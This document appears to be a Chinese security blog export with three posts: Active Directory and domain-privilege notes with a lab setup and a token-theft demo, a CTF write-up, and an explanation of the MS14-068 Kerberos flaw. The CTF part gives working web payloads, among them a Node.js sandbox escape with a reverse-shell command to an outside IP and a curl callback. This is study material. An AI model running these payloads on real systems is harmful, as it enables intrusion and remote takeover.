如果网络规模较大,我们就会考虑把网络中的众多对象:计算机、用户、用户组、打印机、共享文件等,分门别类、井然有序地放在一个大仓库中,并做好检索信息,以利于查找、管理和使用这些对象(资源)。这个有层次结构的数据库,就是活动目录数据库,简称AD库。 那么我们应该把这个数据库放在哪台计算机上呢?规定是这样的,我们把存放有活动目录数据库的计算机就称为DC。 所以说我们要实现 域环境,其实就是要安装AD,当内网中的一台计算机安装了AD后,它就变成了DC。 DC的本质是一台计算机,AD的本质是提供目录服务的组件 5. 前面的工作组环境”问题-解决回顾一下之前的问题: 假如一个公司有200台电脑,我们希望某台电脑上的账户Alan可以访问每台电脑内的资源或者可以在每台电脑上登录。那么在”工作组”环境中,我们必须要在这200台电脑的各个SAM数据库中创建Alan这个账户。一旦Alan想要更换密码,必须要更改200次!现在只是200台电脑的公司,如果是有5000台电脑或者上万台电脑的公司呢? 答案: 在域环境中,只需要在活动目录中创建一次Alan账户,那么就可以在任意200台电脑中的一台上登录Alan,如果要为Alan账户更改密码,只需要在活动目录中更改一次就可以了。 学了域之后,这个问题解决是不是就很简单呢,当然这只是域的一个很基础的功能。 (4) 域相关概念1. 安全域划分安全域划分的目的是将一组安全等级相同的计算机划入同一个网段内,这一网段内的计算机拥有相同的网络边界,在网络边界上采用防火墙部署来实现对其他安全域的 NACL(网络访问控制策略),允许哪些IP访问此域、不允许哪些访问此域;允许此域访问哪些IP/网段、不允许访问哪些IP/网段。使得其风险最小化,当发生攻击时可以将威胁最大化的隔离,减少对域内计算机的影响。 内网安全策略级别最高,DMZ中等,外网则低一点。 下图为中小型内网的安全区域划分,一个虚线框表示一个安全域(也是网络的边界,一般分为DMZ和内网),通过硬件防火墙的不同端口实现隔离。 2. DMZ网络一般大致可以分为三个区域:安全级别最高的内网;安全级别中等的DMZ;安全级别最低的外网。三个区域负责完成不同任务,因此需要设置不同的访问策略。 如上图,两个防火墙之间的空间被称为DMZ。 DMZ(demilitarized zone)的缩写,即”隔离区”,也称”非军事化区”。 DMZ是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。 该缓冲区位于企业内部网络和外部网络之间的小网络区域内。在这个小网络区域内可以放置一些必须公开的服务器设施,如企业Web服务器、FTP服务器和论坛等。 另一方面,通过这样一个DMZ区域,更加有效地保护了内部网络。因为这种网络部署,比起一般的防火墙方案,对来自外网的攻击者来说又多了一道关卡 3. DMZ屏障功能通过定义一些访问策略,实现DMZ区的屏障功能 内网可以访问外网内网的用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT。 内网可以访问DMZ此策略使内网用户可以使用或者管理DMZ中的服务器。 外网不能访问内网这是防火墙的基本策略了,内网中存放的是公司内部数据,显然这些数据是不允许外网的用户进行访问的。如栗要访问,就要通过VPN方式来进行。 比如:最常见的校园网 外网可以访问DMZDMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,外网访问DMz需要由防火墙完成对外地址到服务器实际地址的转换。 DMZ不能访问内网如不执行此策略,则当入侵者攻陷DMz时,内部网络将不会受保护。 DMZ不能访何外网此条策略也有例外,比如我们的例子中,在DMZ中放置邮件服务器时,就需要访问外网,否则将不能正常工作。 内网又可分为办公区和核心区 办公区:公司员工日常的工作区,一般会安装防病毒软件、主机入侵检测产品等。办公区一般能够访问DMZ。 核心区:存储企业最重要的数据、文档等信息资产,通过日志记录、安全审计等安全措施进行严密的保护,往往只有很少的主机能访问。从外部是绝难访问核心区的。 4. 域中计算机分类分为 域控制器(DC)、成员服务器、客户机、独立服务器 域控制器: 域控制器用于管理所有的网络访问,包括登录服务器、访问共享目录和资源。域控制器中存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息。 在网络中,可以有多台计算机被配置为域控制器,以分担用户的登录、访问等操作。多个域控制器可以一起工作,自动备份用户账户和活动目录数据。这样,即使部分域控制器瘫痪,网络访问也不会受到影响,提高了网络的安全性和稳定性 成员服务器 : 成员服务器是指安装了服务器操作系统并加入了域、但没有安装活动目录的计算机 其主要任务是提供网络资源。成员服务器的类型通常有文件服务器、应用服务器、数据库服务器、Web服务器、邮件服务器、防火墙、远程访问服务器、打印服务器等 客户机: 域中的计算机可以是安装了其他操作系统的计算机,,用户利用这些计算机和域中的账户就可以登录域。这些计算机被称为域中的客户机。 之前安全域划分图里的 办公电脑就是客户机。 域用户账号通过域的安全验证后,即可访问网络中的各种资源 独立服务器: 独立服务器是指安装了服务器操作系统但 并没有加入域、也没有安装活动目录的计算机 和域没什么关系。 独立服务器可以创建工作组,也可以和网络上的其他计算机共享资源,因为和域没有关系,所以 活动目录(AD) 的这些资源它是无法享受的 注: 域控制器是存放活动目录数据库的,是域中必须要有的,而其他三种则不是必须的,也就是说最简单的域可以只包含一台计算机,这台计算机就是该域的域控制器。 域中各个服务器的角色也是可以改变的,例如域服务器在删除活动目录时,如果是域中最后一个域控制器,则该域服务器会成为独立服务器,如果不是域中唯一的域控制器,则将使该服务器成为成员服务器。同时独立服务器既可以转换为域控制器(装入一个AD),也可以加入到某个域成为成员服务器。 5. 域中组分类5.1 域本地组域本地组:多域用户访问单域资源(访问同一个域)。可以从任何域添加用户账户、通用组和全局组,只能在其所在域内指派权限。 域本地组不能嵌套于其他组中。 它主要是用于授予位于本域资源的访问权限。 5.2 全局组全局组:单域用户访问多域资源(必须是同一个域里面的用户)。只能在创建该全局组的域上进行添加用户和全局组,可以在域林中的任何域中指派权限,全局组可以嵌套在其他组中。 有很多的全局组,可以把Domain Computers加入Domain Admins全局组中,但是不能加入到其他全局组的域中。 5.3 全局组与域本地组区别全局组相当于域账号,可以在全局使用,域本地组相当于本地账号,只能本机上使用。 下面我来举两个例子来进一步说明(以混合模式下为例): 例1:将用户张三(域帐号Z3)加入到域本地组administrators中,并不能使Z3对 非DC 的 域成员计算机 有任何特权,但若加入到全局组Domain Admins中,张三就是域管理员了,可以在全局使用,对域成员计算机是有特权的。 例2:只有在域的DC上,对资源(如:文件/夹)设置权限,你可以指派域本地组administrators;但在非DC的域成员计算机上,你是无法设置域本地组administrators的权限的。因为它是域本地组,只能在该域DC上使用 5.4 通用组通用组,通用组成员来自域林中任何域中的用户账户、全局组和其他的通用组,可以在该域林中的任何域中指派权限,可以嵌套于其他域组中。非常适于域林中的跨域访问 通常用于不经常发生变化的用户。组成员信息保存在 GC 里。 5.5 AGDLP策略 A (account):用户帐户 G (Global group):全局组 DL (Domain local group):域本地组 P (Permission许可):表示资源权限 A-G-DL-P策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为与本地住分配资源权限。按照AGDLP的原则对用户进行组织和管理起来更容易 在AGDLP形成以后当给一个用户某一个权限的时候,只要把这个用户加入到某一个本地域组就可以了。 举个例子比如:有两个域,A和B,A中的5个财务人员和B中的3个财务人员都需要访问B中的“FINA”文件夹。这时,可以在B中建一个DL(域本地组),因为DL的成员可以来自所有的域,然后把这8个人都加入这个DL,并把FINA的访问权赋给DL。这样做的坏处是什么呢?因为DL是在B域中,所以管理权也在B域,如果A域中的5 个人变成6个人,那只能A域管理员通知B域管理员,将DL的成员做一下修改,B域的管理员太累了。这时候,我们改变一下,在A和B域中都各建立一个全局组(G),然后在B域中建立一个DL,把这两个G都加入B域中的DL中,然后把FINA的访问权赋给 DL。哈哈,这下两个G组都有权访问FINA文件夹了,是吗?组嵌套造成权限继承嘛!这时候,两个G分布在A和B域中,也就是A和B的管理员都可以自己管理自己的G啦,只要把那5个人和3个人加入G中,就可以了!以后有任何修改,都可以自己做了,不用麻烦B域的管理员!这就是A-G-DL-P。 A-G-DL-P策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。 简单来说: 域本地组:来自全林、作用于本域 全局组:来自本域、作用于全林 通用组:来自全林、作用于全林 5.6 熟悉各个组本地域组的权限: Administrators(管理员组) 管理员组(Administrators)的成员可以不受限制的存取计算机/域资源。它不仅是最具权力的一个组,也是在活动目录和域控制器中默认具有管理员权限的组 Remote Desktop Users(远程登录组)授予组内成员远程登录的权限 Print Operators(打印机操作员组)可以管理、建立、删除网络打印机 Account Operators(帐号操作员组)可以创建和管理域中用户和组,并可以设置它的权限。但是它是不能更改管理员组的账号的 Server Operaters(服务器操作员组)可以管理域服务器。可以建立、删除任何域服务器里的共享目录。关锁定服务器、变更服务器的时间、关闭域控制器等等 Backup Operators(备份操作员组) 在域控制器上执行备份,还原操作。也可以本地登录和关闭域控制器。 全局组、通用组的权限: Domain Admins(域管理员组)域管理员组、该组指定的域管理员,拥有完整的管理员权限。因为该组会被添加到自己所在域的Administrators 组中,因此可以继承Administrators组的所有权限。同时 该组默认会被添加到每台域成员计算机本地的Administrators组中,因此 Domain admins组 对域内所有计算机都有管理权限。 是最最重要的权限,一般来说域渗透是看重这个 Enterprise Admins(企业系统管理员组)除了域管理员组,第二重要的组 企业系统管理员组 是域森林或者根域中的一个组。该组在域森林中的每个域内都是Administrators组的成员,因此对所有域控制器都有完全访问权 Schema Admins(架构管理员组)第三重要是架构管理员组。可以管理活动目录 Domain Users(域用户组) 6. 域内权限解读Windows域环境中,所有的权限都保存在域控制器中的活动目录里。实战中有两种方式能获得权限。 1. 获得域控权限并修改域控中的活动目录里的权限 在域成员机器中寻找域控曾经登录过的账号密码获得权限 6.1 用户登录机器加入到域之后 可以选择使用域内用户登录,也可以使用本地用户登录 区别如下: 本地用户登录,是存放在本地文件中然后本机进行校验。域内用户登录,是要通过DC的认证之后才能登录,用户信息存放在域控上 本地用户登录主要是对比NTLM HASH值 , 域认证是通过Kerberos 认证 机器可以选择本地登录或者域用户登录,本地用户 机器名\\用户名 域内用户 域名\\用户名 6.2 域内最高管理员权限域内最高管理员权限就是 域名\\administrator, 他没有UAC认证,他也是每个域内机器的本地管理员,和机器名\\administrator 具有相同的权限,SID也是500 6.3 域内普通管理员权限域内普通管理员就是加入了域中的Domain Admins组里的域用户,但不是administrator用户 跟本地普通管理员权限是一样的,想执行高权限的操作必须右键使用管理员打开 6.4 域内普通用户权限域用户组(Domain Users) 中所有的域成员. 默认情况下 我们建立的用户账号都属于 Domain Users组,该组在域内机器中存在于Users组 跟本地普通用户的权限是一样的 6.5 机器用户和SYSTEM 区别Domain Computers组,任何由我们建立的计算机账号都属于该组 , 机器账户是指在网络中用于代表计算机或设备的账户. 在Windows域环境中 , 每台计算机都有一个机器账户 , 用于在网络中进行身份认证和授权 机器账户的名称 通常为计算机名称, 机器账户与具体计算机相关联 , 用于代表计算机进行域认证和访问域资源 当电脑加入到域中之后 , 机器账号的密码也同步到域控上 , 所以本地的 SYSTEM用户对应域内的机器用户. 如果我们拿到权限的电脑加入了域 , 但是使用的是本地用户进行登录 , 这时 我们就可以提权到 SYSTEM用户,然后对域内进行查询 虽然 SYSTEM 账户是本地计算机上的特殊账户 , 而机器账户是域环境中的账户 , 但在某些情况下, 例如: 当本地i计算机需要访问 域资源时, SYSTEM 账户可能会充当机器账户的角色 . 这是因为在域环境中,本地计算机可以使用 SYSTEM 账户作为其身份进行域认证和访问授权。 但需要明确的是,题目两个仍然是不同的概念,SYSTEM 账户不是专门为域中的机器账户而创建的 这里我们通过 incognito窃取令牌切换为 system身份演示一下 de1ay为 PC主机本地用户,无法对域内进行查询 12# 管理员身份运行cmdincognito.exe list_tokens -u # 列出token 1incognito.exe execute -c "NT AUTHORITY\\SYSTEM" cmd.exe # 窃取其他令牌 以 NT AUTHORITY\\SYSTEM身份运行 cmd 然后 net user /domain进行查询域内用户 成功 <2> 攻击主机平台与工具利用虚拟机三种模式: 桥接模式:虚拟机在局域网中作为独立的主机,可以和局域网里其他机器相互访问 NAT模式:虚拟机借助物理机来上网,可以和物理机之间相互访问,除物理机之外其他机器是不能访问虚拟机的。但是虚拟机可以访问同网段的其他机器的(因为你物理机是可以访问其他电脑的,而它是借助物理机)。 Host-only模式:仅主机模式。在渗透测试实验中推荐用host-only模式,是三种模式中隐秘性最强、最严格的网络配置。虚拟机处于一个独立的网段,和物理机的ip段是分开来的。这个模式下虚拟机是不能上网的,主机和虚拟机可以互访 (1) 域环境搭建下载操作系统的网站:https://msdn.itellyou.cn/安装教程:https://www.cnblogs.com/1vxyz/p/17131317.html 1. 网络拓扑 操作系统 安装服务 计算机名称 IP DNS服务器地址 Windows server 2012 R2 AD/DC DC 192.168.1.1 192.168.1.1 Windows7 加入域 WIN7 192.168.1.2 192.168.1.1 Windows server 2008 R2 加入域 WEB 192.168.1.3 192.168.1.1 2. 域环境配置操作流程:Windows server 2012 R2更改IP地址–>更改计算机名–>安装域控和DNS服务–>升级服务器–>创建AD域–>创建用户 windows server 2008 R2:更改IP地址与DNS服务器地址–>更改计算机名–>加入域 windows7:更改IP地址与DNS服务器地址–>更改计算机名–>加入域 Windows 2012 R2设置★设置ip、更改计算机名、安装域控制器和DNS服务、升级服务器、创建Active Directory用户 设置ip为192.168.1.1,子网掩码为255.255.255.0,DNS指向自己IP 更改计算机名称为DC 然后会显示重新启动才会完成更改,我们重启。 安装域控制器和DNS服务在服务器管理器中,选择 添加角色和功能 -> 默认下一步至服务器角色,点上 Active Directory域服务 与 DNS服务器 再默认下一步 至 确认,勾选上如果需要 自动启动目标服务器。安装即可 升级为域控制器点击🚩旁边的⚠,点击 将此服务器升为域控制器 并且 添加新林,设置根域名为 hack.testlab 设置DSRM(目录还原模式)密码这个密码是干什么用的呢? 这个密码是我们开机进入安全模式,修复数据库的时候用的点击下一步之后,会有一个什么DNS⚠ 不用理会它 设置NetBIOS这个NetBIOS域名是,比如不支持DNS的旧系统,比如win98 需要通过这个名来进行通讯,这里保持默认 设置路径路径–指定数据库、日志、SYSVOL文件夹位置: 这里保持默认 安装AD域服务 重启完成之后,我们这个机器的administrator,也就随之变成了域管理员。可以看到登录界面的账户名也变了: 在那个服务器管理界面也就可以看见 AD、IDS、DNS等服务了 域控安装成功以后,他会将自己在域里的角色,注册到DNS的服务器里面,以让域里的其他计算机,能够通过这个DNS服务器来找到这台计算机。 可以看到dc主机的记录,可以看到我们的域控 hack.testlab已经正确的将主机和ip地址注册到DNS服务器,域里的其他机器就可以通过这个找到域控。 看到这个ldap表示我们的域控已经正确的注册为域控制器了。也看到了这个gc 全局边路 创建Active Directory用户为windows server 2008 r2 和 windows 7用户创建控制器账户也可以在 控制面板 -> 系统与安全 -> 管理工具里打开选择Users目录,右键,新建对象–用户,创建一个testuser账户可以看到添加了一个普通的域用户 testuser Windows7设置 设置ip与DNS服务器地址控制面板 -> 网络和Internet -> 更改适配器设置 -> Internet协议版本(TCP/IPv4)属性设置完之后可以 ping以下我们的域控,DNS的ip地址 看看能不能ping通 加入域这里需要输入以下域的账号和密码。这里我们输入新建的testuser,确定 现在呢 windows7算是加入域成功啦! 然后提示必须重新启动计算机,点击确认 开始重新启动。 重启之后,可以用域控管理员账号密码、也可以用新建的那个testuer域普通用户去登录。当然这两个用户权限是不一样的。 现在呢还是我们本机的 WiNDOWS7\\1vxyz 这里我们切换用户,我们用普通的域账号登录一下。 现在可以看到了,成功登录进去啦。现在已经算所域环境了。这两台机子 构成了一个小型 Mini域了 ping一下我们域控的ip地址 和 DNS域名 都是没有问题的 Windows 2008 R2设置同Windows7,设置ip为192.168.1.3 和DNS服务器 192.168.1.1然后加入域 DC管理域内计算机在computers里,右键win2008机器,点管理 弹⚠了,我们去win2008那边关掉防火墙再回来 就可以远程对这个电脑,用户、磁盘管理、等等进行管理 (2) 其他漏洞学习环境搭建 漏洞靶场 靶场描述 下载地址 Metasploit2 Ubuntu Linux的虚拟机,内置了常见的漏洞其默认的用户名和密码都是msfadmin https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ Metasploit3 Metasploit3的升级版,默认密码还是msfadmin https://github.com/rapid7/metasploitable3 OWASPBWA 一款基于虚拟机的渗透测试工具,提供一个存在大量漏洞的网站应用程序环境 https://sourceforge.net/projects/owaspbwa/files/ 内网靶场 靶场描述 下载地址 红日靶场 vultargeta靶场是星期五实验室公众号发布的自行设计靶场,其中涵盖了WEB渗透、主机漏洞、域漏洞、工控漏洞 http://vulnstack.qiyuanxuetang.net/vuln/ CFS三层内网 三层靶机的内网渗透,常用于CTF比赛 https://www.anquanke.com/post/id/187908 Social Network Vulnhub上的一台靶机 http://www.yongyindai.com/plus/view.php?aid=62 (3) 内网渗透常用工具1. windows平台常用工具 工具名称 介绍描述 Nmap 信息收集与网络发现工具,用于发现主机,端口扫描,识别服务,识别操作系统等 Wireshark 免费开源的网络协议和数据包分析器,将网络接口设置为混杂模式能够监控整个网络的流量 PUTTY 免费开源的SSH和Telnet客户端,主要用于远程访问 Sqlmap 免费开源,主要用来对WEB应用程序进行SQL注入攻击测试,只是不同数据库 Burpsuite 主要用于对WEB应用程序进行安全测试的集成平台 Hydra 网络登录的破解工具,支持多种协议 Getif 基于windows的免费图形界面工具,用于收集SNMP设备的信息 Cain&Able 强有力的嗅探工具与密码破解 PowerSploit 基于PowerShell的后渗透框架,包含很多PowerShell攻击脚本,主要用于信息侦查,权限提升,权限维持 Nishang Powershell脚本和有效载荷的框架的集合 2. Linux平台常用工具 工具名称 介绍描述 WCE Windows凭据管理器,列出登录会话,添加/修改/列出/删除关联凭据(LM HASH/NTML HASH/明文密码/Kerberos票据) Mimikatz 用于从内存中获取明文密码,现金票据和秘钥等 Responder 嗅探网络内所有LLMNR包和获取各主机的信息 Beff 一款针对浏览器的渗透测试工具 DSHashes 从NTDSXtract中提取用于易于理解的散列值 Powersploit 基于PowerShell的后渗透框架,包含很多PowerShell攻击脚本,主要用于信息侦查,权限提升,权限维持 Nishang 针对Powershell的渗透测试工具,集成了框架,脚本和各种payload Empire 内网渗透利器,跨平台,有丰富的模块和接口,用于可自行添加模块和功能 ps_encoder.py 使用base64编码封装的powershell命令包,目的是混淆和压缩代码 smbexec 使用Samba工具的快速psexec类工具 Veil 生成绕过常见的防病毒解决方案的Metasploit有效载荷 Metasploit 漏洞攻击平台/5大框架:exploit/auxiliary/payload/post/encoder CobaltStrike 优秀的后渗透测试平台,主要用于内网渗透适合团队间协同工作 参考:https://www.bilibili.com/video/BV1JA411x7HM/","link":"/2023/09/20/%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80/"},{"title":"华为杯 第二届中国研究生网络安全创新大赛","text":"复现着玩一玩 Misc-A_Small_Secretbase32解码得到:asdadad 应该就是压缩包密码 解压得到一个 txt,头是PK 还有一些word/document.xml 信息 应该是个word文件 修改后缀为 docx 用word打开 取消隐藏文字 修改字体颜色 得到 flag{U2FsdGVkX1/nVMt/cXalqwb8VpS2mDk9UkTaHRPPq5TAtH8XxYVAwxtoDKe/yTN4 zBas0WHmW50e2QwglywbKyCRNsVxaKsbwwdDlcBEg20=} U2FsdGVkX1开头的可能是rabbit,AES,DES AES进行解密,密钥为压缩包密码 再base64解 得到flag Misc-loopQR附件是一堆熊猫图,考察LSB 信道隐写 这里引入一下关于LSB的介绍: 最低有效位LSBPNG图片由RGB三原色组成,每个颜色占用八位,取值范围为 0x00-0xFF,即一个颜色可以有256中。因此组合一块 一共有256^3种颜色,而人眼分辨不了这么多,于是这些颜色的末位就可以用来隐写数据。 LSB隐写就是修改RGB颜色分量的最低二进制位也就是最低有效位(LSB),而人类的眼睛不会注意到这前后的变化,每个像数可以携带3比特的信息 stegsolve打开 在 Green Plane 0信道上可以发现二维码 扫描后有一个字符信息 而第三张照片则是在 Red Plane 0 利用脚本批量提取并扫描 1#遍历一张图片的每个像素点,提取出其RGB值中的LSB,如果LSB为1,则将QR码的对应像素点设为白色,否则设为黑色。这样就可以将一张图片转换为一个黑白的QR码矩阵,然后扫描二维码,获取其中的信息进行输出 12345678910111213141516171819202122232425import osimport numpy as npfrom PIL import Imagefrom pyzbar.pyzbar import decodepath=r"loopyQR文件夹路径"images=os.listdir(path)msg=""for img_name in images: # 遍历每个图片 img = Image.open(path+img_name) #图片名的全路径 for i in range(4): #这里为什么进行四次循环 qr = np.zeros((86,86)) for h in range(0,86): for w in range(0,86): pixel=img.getpixel((w,h)) #获取指定坐标的rgb像素信息 lsb = pixel[i] #取RGB元组中第i个通道的值,其中i的取值范围为0~2,分别对应 R红、G绿、B蓝三个通道 if bin(lsb)[-1]=='1': #将通道的值转换为二进制字符串。获取二进制字符串的最后一位,即LSB qr[h][w]=255 #将该像素点的值设为255,表示白色 else: qr[h][w]=0 #将该像素点的值设为0,表示黑色。 decode_objects=decode(qr) #扫描二维码 if decode_objects: print(decode_objects[0].data.decode('utf-8'),end="") break#遍历一张图片的每个像素点,提取出其RGB值中的LSB,如果LSB为1,则将QR码的对应像素点设为白色,否则设为黑色。这样就可以将一张图片转换为一个黑白的QR码矩阵 最终结果: 12345678910111213141516171819202122232425262728293031323334353637383940- - He disappeared in - - the dead of winter.f - The brooks were frozen,l - the airports almost deserted,a - And snow disfiguredg - the public statues;{ - The mercury sank inc - the mouth of the dying day.7 - What instruments4 - we have agree7 - The day of his death9 - was a dark cold day.d - Far from his illness6 - The wolves ran on through7 - the evergreen forests,e - The peasant river was untempted1 - by the fashionable quays;8 - By mourning tongues2 - The death of the poetd - was kept from his poems.3 - But for him3 - it was his last1 - afternoon as himself,1 - An afternoon of nurses and rumours;4 - The provinces of8 - his body revolted,c - The squares ofa - his mind were empty,6 - Silence invadedb - the suburbs,6 - The current of his feeling failed;6 - he became his admirers.7 - Now he is scatteredd - among a hundred cities1 - And wholly given over to1 - unfamiliar affections,d - To find his happiness0 - in another kind of woodd - And be punished under} - a foreign code of conscience. Web-ezeval12345678910<?phpshow_source(__FILE__);#dasdjf.php$ysy = $_GET['ysy'];$parts = parse_url($ysy);if(empty($parts['host']) || $parts['host'] != 'localhost') { exit('error');}readfile($ysy);?> 直接file协议读 ?ysy=file://localhost/../../../../../var/www/html/dasdjf.php 读出来dasdjf.php 内容 123456789101112<?phpif(isset($_GET['a'])){ $a=$_GET['a']; if(preg_match("/system|exec|highlight/i", $a) && !(preg_match("/flag|cat/i", $a))){ eval($a); }else{ die("error"); }}else{ echo "你想干嘛!!!";}?> ?a=system(‘tac /fl*’); 即可 这里比较简单,让你匹配system、exec等等,如果让你必须含有一串垃圾字符的话 也可以 1echo `cat /fl*`;//垃圾字符 Web-startschool考察 Zoomib Nodejs RCE main.js如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445const express = require('express');const path = require('path');var fs = require('fs');const bodyParser = require('body-parser');var bot = require('./bot')const app = express();app.engine('html',require('express-art-template'))app.use(express.static('public'));app.use(bodyParser.json())app.use(bodyParser.urlencoded({extended: false}))data_path = "data.html";//主页app.get('/', function(req, res) { res.sendFile(path.join(__dirname, 'public/index.html'));});app.post('/do', function(req, res) { fs.writeFile('data.html'," 姓名:"+req.body.name+"<br\\> 年龄:"+req.body.age+"<br\\> 专业:"+req.body.subject+"<br\\> 邮箱:"+req.body.mail+"\\n",function(error){ console.log("wriet error") }); bot.visit(); res.send("<script>alert('提交成功');window.location.href = '/';</script>");});app.route('/view') .get(function(req, res) { res.sendFile(path.join(__dirname, data_path)); }) .post(function(req, res) { fs.writeFile('data.html'," 姓名:"+req.body.name+"<br\\> 年龄:"+req.body.age+"<br\\> 专业:"+req.body.subject+"<br\\> 邮箱:"+req.body.mail+"\\n",function(error){ console.log("write error") }); res.redirect('/view'); });app.listen(80, '0.0.0.0'); bot.js 1234567891011121314const zombie = require("zombie")exports.visit = async function () { const browser = new zombie ({ waitDuration: 5*1000, localAddress: 0 }) browser.setCookie({ name: 'admin', domain: '127.0.0.1', path:'/', httpOnly: 'true'}) browser.visit("http://127.0.0.1/view",function() { console.log("Visited: ", "http://127.0.0.1/view")}) } exp: 1234567891011121314151617<script>var a='const';var b='ructor';var c=[a,b].join('');var d='return p';var e='rocess';var f=[d,e].join('');var h='child_p';var i=[h,e].join('');var j='th';var k='is';var l=[j,k].join('');x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync('whoami').toString();document.write(z);</script> 或者 execSync('bash -c \\"bash -i >& /dev/tcp/119.28.15.55/2233 0>&1\\"')<script>var h='child_p';var e='rocess';var i=[h,e].join('');x=clearImmediate[`${`${`constructo`}r`}`][`${`${`constructo`}r`}`][`${`${`constructo`}r`}`]([`${`${`return proces`}s`}`])();y=x.mainModule.require(i);z=y.execSync('cat /flag').toString();document.write(z);</script># 这一种是通过题目的html来回显<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('curl http://vps:port').toString())")());</script> <script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('ls / > data.html').toString())")());</script> Crypto-next-prime123456789101112131415161718192021from Crypto.Util.number import *from gmpy2 import next_prime, irootfrom flag import flagassert flag[0:4]==b'flag'm = bytes_to_long(flag)assert size(m)<500p = getPrime(512)q = next_prime(p)n = p * qprint('n=', n>>520)e = 0x10001c = pow(m, e, n)print('c=', c)'''n= 28576274811010794362153160897556935178530640825011441539841241257190782139295561904323347128956873569754645071205043238985141474388531008367238218822591c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177164800064208215503246868631076011505268371936586645321659884527055007299822625570713613996139223348709621258028349513737798120''' 这里抹掉了 n的低520位,但是 p、q生成过程特殊,非常接近 同时n的低位对开方影响不算大 所以将n左移520位再开方可以得到p和q之间的一个数,再往前推几次就可以得到p了 123456789101112131415161718import gmpy2from Crypto.Util.number import *from sympy.ntheory import prevprimen= 28576274811010794362153160897556935178530640825011441539841241257190782139295561904323347128956873569754645071205043238985141474388531008367238218822591c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177164800064208215503246868631076011505268371936586645321659884527055007299822625570713613996139223348709621258028349513737798120e = 0x10001tmp = gmpy2.iroot(n<<520,2)[0]while True: x = tmp y = gmpy2.next_prime(x) d = gmpy2.invert(e,(x-1)*(y-1)) if b'flag' in long_to_bytes(pow(c,d,x*y)): print(long_to_bytes(pow(c,d,x*y))) break tmp = prevprime(tmp)# b'flag{90b344ca-867d-002e-915c-4a897faf0bbe}'","link":"/2023/10/20/%E5%8D%8E%E4%B8%BA%E6%9D%AF-%E7%AC%AC%E4%BA%8C%E5%B1%8A%E4%B8%AD%E5%9B%BD%E7%A0%94%E7%A9%B6%E7%94%9F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%88%9B%E6%96%B0%E5%A4%A7%E8%B5%9B/"},{"title":"MS14-068漏洞原理及利用","text":"MS14-068漏洞 可用于将普通域用户提权,升为域管理员用户。 该漏洞针对Kerberos 认证中PAC的缺险安全问题。漏洞危害很大并且利用简单,只要存在相当于就拿到域管理员的权限。 但是由于是14年的漏洞,这么多年了。。实战中碰到的可能性就非常小了,多数产生在WINServer 2008和WINServer 2003的域环境中 这里复现一下 简单记录这个经典漏洞 <1> 漏洞原理在前面Kerberos 认证学习过程中,提到了 PAC的概念,特权属性证书。这个东西是什么呢? PAC的诞生: 在Kerberos最初的设计的流程里只说了如何证明客户端的真实身份, 并没有说明客户端是否有权限访问该服务,因为在域中不同的权限的用户 能够访问的资源是不同的,因此微软为了解决这个权限问题引入了PAC (特权属性证书) PAC组成部分PAC由两部分组成:用户信息和数字签名 用户信息:Client的User的SID、Group的SID等,根据用户信息去判断权限 数字签名:这两个签名的作用是确保PAC不被篡改 PAC_SERVER_CHECKSUM:使用服务密钥进行签名 PAC_PRIVSVR_CHECKSUM:使用KDC密钥进行签名 PAC工作原理引入PAC以后,在AS REP阶段返回的TGT中会包含PAC TGS_REQ阶段中client将带有PAC的TGT发送给KDC,KDC除了验证TGT的合法性以外,还会验证PAC的合法性,如果两者都验证通过,再重新构造新的PAC放在ST里返回给客户端 。 然后 client带着ST去请求服务,服务会先解密TGS验证合法性,校验PAC中的2个签名,确认PAC的合法性,然后会根据ST里的PAC中的user id和group id来确认Client的访问权限 但是!! 在TGS-REP阶段中,KDC并不会验证客户端是否有权限访问服务端,因此不管用户有没有访问服务的权限,只要TGT正确,均会返回ST 漏洞成因 Client在发起认证请求时,通过设置include-PAC为False,则返回TGT中不会包含PAC PAC中的数字签名加密算法可以由Client端指定,并且Key的值可以为空;(KDC对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可) 虽然我们没有办法修改返回的TGT,因此我们只能把PAC放到数据包中其它地方,但是 PAC没有被放在TGT中,放在其它地方。KDC在仍然能够正确解析出没有放在TGT中的PAC信息。PAC必须是密文,经过Key加密的KDC会从Authenticator中取出来subkey,把PAC信息解密并利用客户端设定的签名算法验证签名 将我们生成的PAC放到数据包中发送给KDC,KDC在验证PAC通过以后,KDC把PAC中的User SID、Group SID取出来,重新使用进行签名,签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样。将新产生的PAC加入到解密后的TGT中,再重新加密制作全新的TGT发送给Client,不是ST 因此我们可以自己伪造一份高权限的PAC 流程为: 将AS_REQ阶段数据包中的include-PAC修改为 False 指定PAC的加密算法和密钥并将pac中的权限改为管理员权限,生成PAC 将PAC添加到TGS_REQ 数据包中发送KDC验证 KDC将PAC验证通过后,重新使用进行签名以后,生成一个带有伪造的PAC的正常的TGT并返回给客户端 到此,我们拿到了正常的高权限TGT,将其导入内存中,我们就可以使用这个TGT去申请服务票据 可以看到有两个 TGS-REP、TGS-REQ <2> 漏洞利用(1) 漏洞利用条件漏洞利用条件: 拿下一台加入域的机器并且具有管理员权限 域控没有打MS14-068的补丁 (KB3011780) 